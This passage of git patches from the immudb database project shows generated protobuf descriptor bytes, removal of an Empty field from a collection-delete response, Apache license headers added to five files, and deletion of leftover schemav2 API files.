0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, + 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, + 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, + 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, + 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, + 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, + 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, + 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, + 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, + 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, + 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x33, } var ( @@ -1766,7 +1754,6 @@ var file_documentschema_proto_goTypes = []interface{}{ (*schema.VerifiableTx)(nil), // 31: immudb.schema.VerifiableTx (_struct.NullValue)(0), // 32: google.protobuf.NullValue (*_struct.Value)(nil), // 33: google.protobuf.Value - (*empty.Empty)(nil), // 34: google.protobuf.Empty } var file_documentschema_proto_depIdxs = []int32{ 30, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct @@ -1789,34 +1776,33 @@ var file_documentschema_proto_depIdxs = []int32{ 29, // 17: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry 16, // 18: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation 16, // 19: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation - 34, // 20: immudb.documentschema.CollectionDeleteResponse.response:type_name -> google.protobuf.Empty - 4, // 21: immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexValue - 4, // 22: immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexValue - 13, // 23: immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 13, // 24: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 13, // 25: immudb.documentschema.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 13, // 26: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 2, // 27: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest - 6, // 28: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest - 10, // 29: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest - 8, // 30: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest - 14, // 31: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest - 18, // 32: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest - 19, // 33: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest - 21, // 34: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest - 3, // 35: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse - 7, // 36: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse - 11, // 37: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse - 9, // 38: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse - 15, // 39: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse - 17, // 40: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse - 20, // 41: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse - 22, // 42: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse - 35, // [35:43] is the sub-list for method output_type - 27, // [27:35] is the sub-list for method input_type - 27, // [27:27] is the sub-list for extension type_name - 27, // [27:27] is the sub-list for extension extendee - 0, // [0:27] is the sub-list for field type_name + 4, // 20: immudb.documentschema.DocumentProofRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexValue + 4, // 21: immudb.documentschema.DocumentAuditRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexValue + 13, // 22: immudb.documentschema.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 13, // 23: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 13, // 24: immudb.documentschema.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 13, // 25: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 2, // 26: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest + 6, // 27: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest + 10, // 28: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest + 8, // 29: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest + 14, // 30: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest + 18, // 31: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest + 19, // 32: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest + 21, // 33: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest + 3, // 34: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse + 7, // 35: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse + 11, // 36: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse + 9, // 37: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse + 15, // 38: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse + 17, // 39: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse + 20, // 40: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse + 22, // 41: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse + 34, // [34:42] is the sub-list for method output_type + 26, // [26:34] is the sub-list for method input_type + 26, // [26:26] is the sub-list for extension type_name + 26, // [26:26] is the sub-list for extension extendee + 0, // [0:26] is the sub-list for field type_name } func init() { file_documentschema_proto_init() } diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index c666697e5d..9132dbf412 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -162,7 +162,6 @@ message CollectionDeleteRequest { } message CollectionDeleteResponse { - google.protobuf.Empty response = 1; } message Proof { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index 2c8df4fd7b..c019b3cc3f 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -298,12 +298,7 @@ } }, "documentschemaCollectionDeleteResponse": { - "type": "object", - "properties": { - "response": { - "properties": {} - } - } + "type": "object" }, "documentschemaCollectionGetResponse": { "type": "object", From 21c6524c31173b09e1710d593589ee10ed645089 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Thu, 9 Mar 2023 23:05:36 +0100 Subject: [PATCH 0301/1062] Added copyright --- .../authorizationschema.proto | 16 ++++++++++++++++ pkg/api/documentschema/documentschema.proto | 16 ++++++++++++++++ pkg/server/authorization_operations.go | 16 ++++++++++++++++ pkg/server/documents_operations.go | 16 ++++++++++++++++ pkg/server/documents_operations_test.go | 16 ++++++++++++++++ 5 files changed, 80 insertions(+) diff --git a/pkg/api/authorizationschema/authorizationschema.proto b/pkg/api/authorizationschema/authorizationschema.proto index bd22646235..bc6fa494f5 100644 --- a/pkg/api/authorizationschema/authorizationschema.proto +++ b/pkg/api/authorizationschema/authorizationschema.proto @@ -1,3 +1,19 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + syntax = "proto3"; package immudb.authorizationschema; diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 9132dbf412..d347c8c515 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -1,3 +1,19 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + syntax = "proto3"; package immudb.documentschema; diff --git a/pkg/server/authorization_operations.go b/pkg/server/authorization_operations.go index d33b0066f2..6f409faa68 100644 --- a/pkg/server/authorization_operations.go +++ b/pkg/server/authorization_operations.go @@ -1,3 +1,19 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package server import ( diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 826cf5b219..10cca4d0ae 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -1,3 +1,19 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package server import ( diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 7228f60ee2..0166dbae4a 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -1,3 +1,19 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + package server import ( From a6fab662adf7503beb2ce87c8123da13f18e2d4c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Fri, 10 Mar 2023 10:03:09 +0100 Subject: [PATCH 0302/1062] Removing leftovers --- pkg/api/schemav2/docs.md | 384 ------- pkg/api/schemav2/schemav2.pb.go | 1336 ------------------------ pkg/api/schemav2/schemav2.pb.gw.go | 659 ------------ pkg/api/schemav2/schemav2.proto | 190 ---- pkg/api/schemav2/schemav2.swagger.json | 859 --------------- pkg/api/schemav2/schemav2_grpc.pb.go | 317 ------ 6 files changed, 3745 deletions(-) delete mode 100644 pkg/api/schemav2/docs.md delete mode 100644 pkg/api/schemav2/schemav2.pb.go delete mode 100644 pkg/api/schemav2/schemav2.pb.gw.go delete mode 100644 pkg/api/schemav2/schemav2.proto delete mode 100644 pkg/api/schemav2/schemav2.swagger.json delete mode 100644 pkg/api/schemav2/schemav2_grpc.pb.go diff --git a/pkg/api/schemav2/docs.md b/pkg/api/schemav2/docs.md deleted file mode 100644 index 8e1641914c..0000000000 --- a/pkg/api/schemav2/docs.md +++ /dev/null @@ -1,384 +0,0 @@ -# Protocol Documentation - - -## Table of Contents - -- [schemav2.proto](#schemav2.proto) - - [CollectionCreateRequest](#immudb.schemav2.CollectionCreateRequest) - - [CollectionCreateRequest.IndexKeysEntry](#immudb.schemav2.CollectionCreateRequest.IndexKeysEntry) - - [CollectionCreateRequest.PrimaryKeysEntry](#immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry) - - [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) - - [CollectionGetRequest](#immudb.schemav2.CollectionGetRequest) - - [CollectionInformation](#immudb.schemav2.CollectionInformation) - - [CollectionInformation.IndexKeysEntry](#immudb.schemav2.CollectionInformation.IndexKeysEntry) - - [CollectionInformation.PrimaryKeysEntry](#immudb.schemav2.CollectionInformation.PrimaryKeysEntry) - - [CollectionListRequest](#immudb.schemav2.CollectionListRequest) - - [CollectionListResponse](#immudb.schemav2.CollectionListResponse) - - [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) - - [DocumentQuery](#immudb.schemav2.DocumentQuery) - - [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) - - [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) - - [LoginRequest](#immudb.schemav2.LoginRequest) - - [LoginResponseV2](#immudb.schemav2.LoginResponseV2) - - [Proof](#immudb.schemav2.Proof) - - - [PossibleIndexType](#immudb.schemav2.PossibleIndexType) - - [QueryOperator](#immudb.schemav2.QueryOperator) - - - [ImmuServiceV2](#immudb.schemav2.ImmuServiceV2) - -- [Scalar Value Types](#scalar-value-types) - - - - -

Top

- -## schemav2.proto - - - - - -### CollectionCreateRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| primaryKeys | [CollectionCreateRequest.PrimaryKeysEntry](#immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry) | repeated | | -| indexKeys | [CollectionCreateRequest.IndexKeysEntry](#immudb.schemav2.CollectionCreateRequest.IndexKeysEntry) | repeated | | - - - - - - - - -### CollectionCreateRequest.IndexKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | - - - - - - - - -### CollectionCreateRequest.PrimaryKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | - - - - - - - - -### CollectionDeleteRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | - - - - - - - - -### CollectionGetRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | - - - - - - - - -### CollectionInformation - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| primaryKeys | [CollectionInformation.PrimaryKeysEntry](#immudb.schemav2.CollectionInformation.PrimaryKeysEntry) | repeated | | -| indexKeys | [CollectionInformation.IndexKeysEntry](#immudb.schemav2.CollectionInformation.IndexKeysEntry) | repeated | | - - - - - - - - -### CollectionInformation.IndexKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | - - - - - - - - -### CollectionInformation.PrimaryKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | - - - - - - - - -### CollectionListRequest - - - - - - - - - -### CollectionListResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collections | [CollectionInformation](#immudb.schemav2.CollectionInformation) | repeated | | - - - - - - - - -### DocumentInsertRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | - - - - - - - - -### DocumentQuery - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| field | [string](#string) | | | -| operator | [QueryOperator](#immudb.schemav2.QueryOperator) | | | -| value | [google.protobuf.Value](#google.protobuf.Value) | | | - - - - - - - - -### DocumentSearchRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| query | [DocumentQuery](#immudb.schemav2.DocumentQuery) | repeated | | -| page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | - - - - - - - - -### DocumentSearchResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| results | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | -| page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | -| entriesLeft | [uint32](#uint32) | | | - - - - - - - - -### LoginRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| username | [string](#string) | | | -| password | [string](#string) | | | -| database | [string](#string) | | | - - - - - - - - -### LoginResponseV2 - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| token | [string](#string) | | | -| expirationTimestamp | [int32](#int32) | | | - - - - - - - - -### Proof - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | - - - - - - - - - - -### PossibleIndexType - - -| Name | Number | Description | -| ---- | ------ | ----------- | -| DOUBLE | 0 | | -| INTEGER | 1 | | -| STRING | 2 | | - - - - - -### QueryOperator - - -| Name | Number | Description | -| ---- | ------ | ----------- | -| EQ | 0 | | -| GT | 1 | | -| GTE | 2 | | -| LT | 3 | | -| LTE | 4 | | -| LIKE | 5 | | - - - - - - - - - -### ImmuServiceV2 - - -| Method Name | Request Type | Response Type | Description | -| ----------- | ------------ | ------------- | ------------| -| LoginV2 | [LoginRequest](#immudb.schemav2.LoginRequest) | [LoginResponseV2](#immudb.schemav2.LoginResponseV2) | | -| DocumentInsert | [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) | [.immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | -| DocumentSearch | [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) | | -| CollectionCreate | [CollectionCreateRequest](#immudb.schemav2.CollectionCreateRequest) | [CollectionInformation](#immudb.schemav2.CollectionInformation) | | -| CollectionGet | [CollectionGetRequest](#immudb.schemav2.CollectionGetRequest) | [CollectionInformation](#immudb.schemav2.CollectionInformation) | | -| CollectionList | [CollectionListRequest](#immudb.schemav2.CollectionListRequest) | [CollectionListResponse](#immudb.schemav2.CollectionListResponse) | | -| CollectionDelete | [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | - - - - - -## Scalar Value Types - -| .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby | -| ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- | -| double | | double | double | float | float64 | double | float | Float | -| float | | float | float | float | float32 | float | float | Float | -| int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) | -| uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) | -| sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) | -| fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum | -| sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| bool | | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | -| string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) | -| bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) | - diff --git a/pkg/api/schemav2/schemav2.pb.go b/pkg/api/schemav2/schemav2.pb.go deleted file mode 100644 index 0f662e0cd3..0000000000 --- a/pkg/api/schemav2/schemav2.pb.go +++ /dev/null @@ -1,1336 +0,0 @@ -// Code generated by protoc-gen-go. DO NOT EDIT. -// versions: -// protoc-gen-go v1.28.0 -// protoc v3.12.4 -// source: schemav2.proto - -package schemav2 - -import ( - schema "github.com/codenotary/immudb/pkg/api/schema" - empty "github.com/golang/protobuf/ptypes/empty" - _struct "github.com/golang/protobuf/ptypes/struct" - _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" - _ "google.golang.org/genproto/googleapis/api/annotations" - protoreflect "google.golang.org/protobuf/reflect/protoreflect" - protoimpl "google.golang.org/protobuf/runtime/protoimpl" - reflect "reflect" - sync "sync" -) - -const ( - // Verify that this generated code is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) - // Verify that runtime/protoimpl is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) -) - -type QueryOperator int32 - -const ( - QueryOperator_EQ QueryOperator = 0 - QueryOperator_GT QueryOperator = 1 - QueryOperator_GTE QueryOperator = 2 - QueryOperator_LT QueryOperator = 3 - QueryOperator_LTE QueryOperator = 4 - QueryOperator_LIKE QueryOperator = 5 -) - -// Enum value maps for QueryOperator. -var ( - QueryOperator_name = map[int32]string{ - 0: "EQ", - 1: "GT", - 2: "GTE", - 3: "LT", - 4: "LTE", - 5: "LIKE", - } - QueryOperator_value = map[string]int32{ - "EQ": 0, - "GT": 1, - "GTE": 2, - "LT": 3, - "LTE": 4, - "LIKE": 5, - } -) - -func (x QueryOperator) Enum() *QueryOperator { - p := new(QueryOperator) - *p = x - return p -} - -func (x QueryOperator) String() string { - return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) -} - -func (QueryOperator) Descriptor() protoreflect.EnumDescriptor { - return file_schemav2_proto_enumTypes[0].Descriptor() -} - -func (QueryOperator) Type() protoreflect.EnumType { - return &file_schemav2_proto_enumTypes[0] -} - -func (x QueryOperator) Number() protoreflect.EnumNumber { - return protoreflect.EnumNumber(x) -} - -// Deprecated: Use QueryOperator.Descriptor instead. -func (QueryOperator) EnumDescriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{0} -} - -type PossibleIndexType int32 - -const ( - PossibleIndexType_DOUBLE PossibleIndexType = 0 - PossibleIndexType_INTEGER PossibleIndexType = 1 - PossibleIndexType_STRING PossibleIndexType = 2 -) - -// Enum value maps for 